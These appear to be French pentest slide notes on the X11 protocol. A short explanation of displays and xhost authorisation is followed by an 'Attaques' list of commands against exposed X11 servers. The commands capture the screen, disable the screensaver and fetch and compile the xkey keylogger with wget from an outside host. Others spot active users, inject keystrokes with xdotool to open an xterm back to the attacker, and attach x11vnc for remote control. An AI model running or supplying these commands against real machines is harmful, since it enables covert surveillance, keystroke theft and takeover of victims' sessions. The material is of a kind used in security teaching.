

# X11

- Protocole de bureau graphique
- Partie serveur X11
  - Gestion graphique
  - Réception des connexions de clients
- Partie client X11
  - Logiciels avec interface graphique
- Déport possible de l'affichage du client vers serveur X11 arbitraire
  - Ligne de commande : `xterm -display ipserveur:0.0` sur le client
  - Variable d'environnement `DISPLAY` sur le client
- Mécanisme d'autorisation des connexions au serveur X11
  - `xhost +ip` pour accepter les connexions d'une IP
  - `xhost -ip` pour retirer

# X11

- Attaques

- Screenshot de la cible

- `xwd -root -screen -silent -display 192.168.1.37:0 | convert - screenshot.png`

- Déactivation du screen saver

- `xset -display 192.168.1.5:0.0 s reset`

- keylogger

- `wget http://wiki.hping.org/uploadedfiles/135/xkey.c ; gcc -o xkey xkey.c -lX11 -lm`
    - `./xkey 192.168.1.37:0`

- Identification d'un user actif

- `xev -display 192.168.1.37:0 -geometry 1024x768 -bw 10000`

- Interagir avec le terminal cible

- `./x2x -to 192.168.1.37:0 -from localhost:0.0 -geometry 400x400 -nomouse`
    - `export DISPLAY=192.168.1.37:0.0; xdotool type "xterm -display 192.168.1.48:0"; xdotool key KP_Enter`

- Installer un serveur vnc

- `x11vnc -display 192.168.1.37:0.0 -shared -noshm`
    - `vncviewer localhost:0`